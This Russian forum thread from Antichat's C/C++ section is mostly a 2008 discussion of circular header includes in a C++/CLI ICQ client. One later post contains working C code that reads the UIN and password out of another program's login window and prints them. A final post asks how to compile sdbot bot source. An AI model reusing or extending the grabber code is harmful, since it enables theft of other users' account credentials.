ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > С/С++, C#, Delphi, .NET, Asm
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #811  
Старый 03.03.2008, 15:55
Аватар для ForNeVeR
ForNeVeR
Участник форума
Регистрация: 01.05.2006
Сообщений: 216
Провел на форуме:
287212

Репутация: 62
По умолчанию

Подскажите пожалуйста, как в MS Visual C++ 2008 .NET сделать, чтобы 2 неких .h файла (например, 2 формы) могли получить доступ к классам друг друга? А то делаю в одном #include "file2.h", в другом #include "file1.h" - в итоге классы друг друга они не видят...
 
Ответить с цитированием

  #812  
Старый 03.03.2008, 16:08
Аватар для zythar
zythar
Moderator - Level 7
Регистрация: 16.02.2008
Сообщений: 580
Провел на форуме:
1595333

Репутация: 291


Отправить сообщение для zythar с помощью ICQ
По умолчанию

попробуй сделать один хидер там объявить класс. потом этот хидер инклудить в те два хидера.
 
Ответить с цитированием

  #813  
Старый 03.03.2008, 16:14
Аватар для ForNeVeR
ForNeVeR
Участник форума
Регистрация: 01.05.2006
Сообщений: 216
Провел на форуме:
287212

Репутация: 62
По умолчанию

Дело в том, что в моём случае в одном из этих хидеров и объявлен класс, которому нужен доступ к классу формы, объявленному в другом хидере. Причём источник ошибок для меня совершенно неясен: просто "не виден" в одном файле класс, объявленный в другом. Видимо, это как-то связано именно с тем, что файлы ссылаются друг на друга... Хотя #pragma once стоит в обоих и сообщений о достижении максимальной глубины вложеннности #include'ов (что происходит если её убрать ) не появляется.
 
Ответить с цитированием

  #814  
Старый 03.03.2008, 16:22
Аватар для zythar
zythar
Moderator - Level 7
Регистрация: 16.02.2008
Сообщений: 580
Провел на форуме:
1595333

Репутация: 291


Отправить сообщение для zythar с помощью ICQ
По умолчанию

хз.. может че то перепутал при объявлении класса?
какая ошибка? ну и исходники в студию плз. я особо в с++ не силен, но посмотрим что можно сделать
 
Ответить с цитированием

  #815  
Старый 03.03.2008, 16:31
Аватар для ForNeVeR
ForNeVeR
Участник форума
Регистрация: 01.05.2006
Сообщений: 216
Провел на форуме:
287212

Репутация: 62
По умолчанию

Исходники длинные, но вот существенные части:
// CommonClass.h
#pragma once
#include "Form1.h"
//#include "CommonClass.cpp"

using namespace System;
// . . .
using namespace ICQ_client;

public ref class CommonClass{
// Объявления методов, параметров и т.д.
};

// Form1.h
#pragma once

#include "CommonClass.h"

using namespace System;
// . . .
namespace ICQ_client
{
public ref class Form1 : public System::Windows::Forms::Form
{
// . . .
CommonClass^ common; // Тут вылазит ошибка C2143: syntax error : missing ';' before '^', т.е. он не понимает, что CommonClass - это название класса.

//. . .
};
}

Причём если в CommonClass.h не инклудить Form1.h, то в Form1 класс виден. И наоборот, если #include "CommonClass.h" убрать из файла Form1.h, файл CommonClass.h проходится нормально. Была мысль, что что-то напутано с ; , но это кажется маловероятным.

Последний раз редактировалось ForNeVeR; 03.03.2008 в 16:59..
 
Ответить с цитированием

  #816  
Старый 03.03.2008, 16:39
Аватар для zythar
zythar
Moderator - Level 7
Регистрация: 16.02.2008
Сообщений: 580
Провел на форуме:
1595333

Репутация: 291


Отправить сообщение для zythar с помощью ICQ
По умолчанию

а что у тебя в CommonClass.cpp лежит?
я чета не видел чтобы cpp файлы инклудили..
 
Ответить с цитированием

  #817  
Старый 03.03.2008, 17:00
Аватар для ForNeVeR
ForNeVeR
Участник форума
Регистрация: 01.05.2006
Сообщений: 216
Провел на форуме:
287212

Репутация: 62
По умолчанию

Цитата:
Сообщение от zythar  
а что у тебя в CommonClass.cpp лежит?
я чета не видел чтобы cpp файлы инклудили..
Извиняюсь, нечаянно дописал при переносе кода. На самом деле там такого, конечно, нет

Ну и для понимания дао программы действительно нужно: CommonClass.cpp
#pragma once

#include "StdAfx.h"
#include "CommonClass.h"

using namespace System::Text;
// . . .
CommonClass::CommonClass()
{
}

bool CommonClass::flapHeader(...)
{
// . . .
}

// . . .

Последний раз редактировалось ForNeVeR; 03.03.2008 в 17:12..
 
Ответить с цитированием

  #818  
Старый 04.03.2008, 21:43
Аватар для ForNeVeR
ForNeVeR
Участник форума
Регистрация: 01.05.2006
Сообщений: 216
Провел на форуме:
287212

Репутация: 62
По умолчанию

Ладно, в общем, всё, переделал по-другому, пришлось часть функций класса рассовывать по формам, но вроде (тьфу-тьфу-тьфу) работает. Всё равно +1 за попытку помочь
 
Ответить с цитированием

  #819  
Старый 06.03.2008, 03:40
Аватар для _Sanich
_Sanich
Новичок
Регистрация: 11.02.2008
Сообщений: 12
Провел на форуме:
60366

Репутация: 3
По умолчанию

Подскажите пожайлуста как с помощью MS Visual C++ откомпилировать этот исходник..
С подобным сталкиваюсь первый раз..

void main()
{
// Объявим переменные, необходимые для работы
HWND hManForm,hGroupBox,hEdit,hComboBox; // Идентификаторы форм
char* pUIN; // Указатель на буфер для UIN
char* pPass; // Указатель на буфер для пароля
int iUIN; // Длина UIN
int iPass; // Длина пароля

// Найдем окно диалога авторизации
hManForm=FindWindow("TManForm",0);
// Расположенная на нем группа элементов управления
hGroupBox=FindWindowEx(hManForm,0,"TGroupBox",0);

// Список с UIN'ами
hComboBox=FindWindowEx(hGroupBox,0,"TComboBox",0);
// Получим длину текста в списке
iUIN=SendMessage(hComboBox, WM_GETTEXTLENGTH, 0, 0)+1;
// Выделяем необходимую память для буфера
pUIN=(char*)LocalAlloc(0, iUIN);
// Получим непосредственно текст
SendMessage(hComboBox, WM_GETTEXT, iUIN, (long)pUIN);

// Поле с паролем
hEdit=FindWindowEx(hGroupBox,0,"TEdit",0);
// Дальше все по аналогии с UIN'ом
iPass=SendMessage(hEdit, WM_GETTEXTLENGTH, 0, 0)+1;
pPass=(char*)LocalAlloc(0, iPass);
SendMessage(hEdit, WM_GETTEXT, iPass, (long)pPass);

//Выведем что получилось
cout << "[!!!]Found for: "<< pUIN << "\tPassword: " << pPass;

// Освободим память
LocalFree(pUIN);
LocalFree(pPass);
}
 
Ответить с цитированием

  #820  
Старый 06.03.2008, 04:37
Аватар для faiber
faiber
Новичок
Регистрация: 06.02.2008
Сообщений: 4
Провел на форуме:
127682

Репутация: 3
По умолчанию

Подскажи как вооше от компелировать в lcc-win32
когда я пытаюсь откомпилировать исходный код sdbot'a выдаёт ошибку
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Часто задаваемые вопросы по MySQL Серый PHP, PERL, MySQL, JavaScript 5 28.12.2006 18:26
Интернетчики задали российскому президенту очень странные вопросы podkashey Мировые новости 4 07.07.2006 16:53
Вопросы по Ipb 2.0 Voodoo_People Форумы 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ